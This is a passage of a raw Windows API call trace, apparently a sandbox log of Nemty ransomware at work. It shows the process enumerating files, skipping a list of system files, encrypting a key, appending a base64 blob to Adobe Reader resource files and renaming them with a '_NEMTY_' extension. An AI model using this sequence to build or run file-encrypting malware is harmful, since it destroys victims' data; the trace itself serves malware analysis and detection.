(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr95.ths", lpUsedDefaultChar=0x0) returned 9 [0217.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr95.ths", lpUsedDefaultChar=0x0) returned 9 [0217.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr95.ths", lpUsedDefaultChar=0x0) returned 9 [0217.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr95.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr95.ths", lpUsedDefaultChar=0x0) returned 9 [0217.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.023] Sleep (dwMilliseconds=0x5) [0217.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34fe9c50, dwHighDateTime=0x1d561e8)) [0217.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34fe9c50, dwHighDateTime=0x1d561e8)) [0217.025] GetLastError () returned 0x0 [0217.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.025] GetLastError () returned 0x0 [0217.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.025] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.025] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="zwu3cLoSaeqUal9F7b1VLYZGvmt+95IDaWSQloMQB7EXcuc/8wRzBB1BLXZ3uAJW\r\npl6An/ELmwUozXqzQnFtIQHY7+2t1dMpzHAbQGlNhvBVAxixMtqlP0Zfghv1y1JM\r\nQoOWGnQGbNKrAiA+wdmIm+VeLF3ak7iHj+3hwP3WOwM03Z9wQRUseh3hN5Ol6o9i\r\nt6RxCvk8VlREy5Dgtbqz5Az5RkTN3y//XG5actglHVT+AFbviX0bx3tJYtVNowaA\r\nyKOQLYhCky5NU7NCYgsuN55YqWVrt4Wo5kTBZ000gs3Tay0w5QjIWEYAgscHkHXY\r\n2bqFIkkciTY8ja+juwznLA==\r\n", pcchString=0x653df5c) returned 1 [0217.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr95.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr95.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.026] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=313344) returned 1 [0217.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.026] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.026] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.035] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.035] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.036] SetFilePointer (in: hFile=0x320, lDistanceToMove=313344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c800 [0217.036] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.037] CloseHandle (hObject=0x320) returned 1 [0217.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.038] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr95.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr95.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr95.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr95.ths._nemty_kgobjgd_")) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.039] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ctl.fca", cAlternateFileName="")) returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2=".") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="..") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="...") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="windows") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="rsa") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="NTDETECT.COM") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="ntldr") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="MSDOS.SYS") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="IO.SYS") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="boot.ini") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="boot.ini") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="ntuser.dat") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="desktop.ini") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="CONFIG.SYS") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="RECYCLER") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="bootmgr") returned 1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="programdata") returned -1 [0217.039] lstrcmpiW (lpString1="ctl.fca", lpString2="appdata") returned 1 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.fca", lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.fca", lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.fca", lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.039] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.fca", lpUsedDefaultChar=0x0) returned 7 [0217.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.039] Sleep (dwMilliseconds=0x5) [0217.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3500fdb0, dwHighDateTime=0x1d561e8)) [0217.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3500fdb0, dwHighDateTime=0x1d561e8)) [0217.041] GetLastError () returned 0x0 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.041] GetLastError () returned 0x0 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.041] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.041] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="O5toKkpLyGfz0+LptOhLYf6sV6ABYSU0EO15vnPrU34FDn37VMIXcd8C4Iqg/uGT\r\nsyrN83iGhRErRdvHKwmc7NtYzP56NpsOFlQzBEdZ2UEsseqRXCACiDa/ces0hQsA\r\nWInm+A5vgUFgOchyNatBEFqTjjCKK6y9Icn2rAsecO4v5y3KBfF9BJWS+Sbsj+kj\r\n2+dO/kfmHmemIVTdlgtPID+cjFC5cqH1E3OO51aG6ME73nNNbEyDkTPuBTkfw8I9\r\nQkhj2RzEnnLu9FJRqSoumIx7j36nWsCQpvoBtNZ4YOlGfhKe+F2WVLvo2Au9et7S\r\n8dqXd8IZA2pifNLleJgniQ==\r\n", pcchString=0x653df5c) returned 1 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.042] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=788) returned 1 [0217.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x310) returned 0x63440b0 [0217.042] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.042] ReadFile (in: hFile=0x320, lpBuffer=0x63440b0, nNumberOfBytesToRead=0x310, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesRead=0x653e1a4*=0x310, lpOverlapped=0x0) returned 1 [0217.044] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.044] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x310, lpOverlapped=0x0) returned 1 [0217.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.044] SetFilePointer (in: hFile=0x320, lDistanceToMove=788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x314 [0217.044] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.044] CloseHandle (hObject=0x320) returned 1 [0217.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.045] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.fca._nemty_kgobjgd_")) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.046] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ctl.hyp", cAlternateFileName="")) returned 1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2=".") returned 1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="..") returned 1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="...") returned 1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="windows") returned -1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="rsa") returned -1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="NTDETECT.COM") returned -1 [0217.046] lstrcmpiW (lpString1="ctl.hyp", lpString2="ntldr") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="MSDOS.SYS") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="IO.SYS") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="boot.ini") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="boot.ini") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="ntuser.dat") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="desktop.ini") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="CONFIG.SYS") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="RECYCLER") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="bootmgr") returned 1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="programdata") returned -1 [0217.047] lstrcmpiW (lpString1="ctl.hyp", lpString2="appdata") returned 1 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, 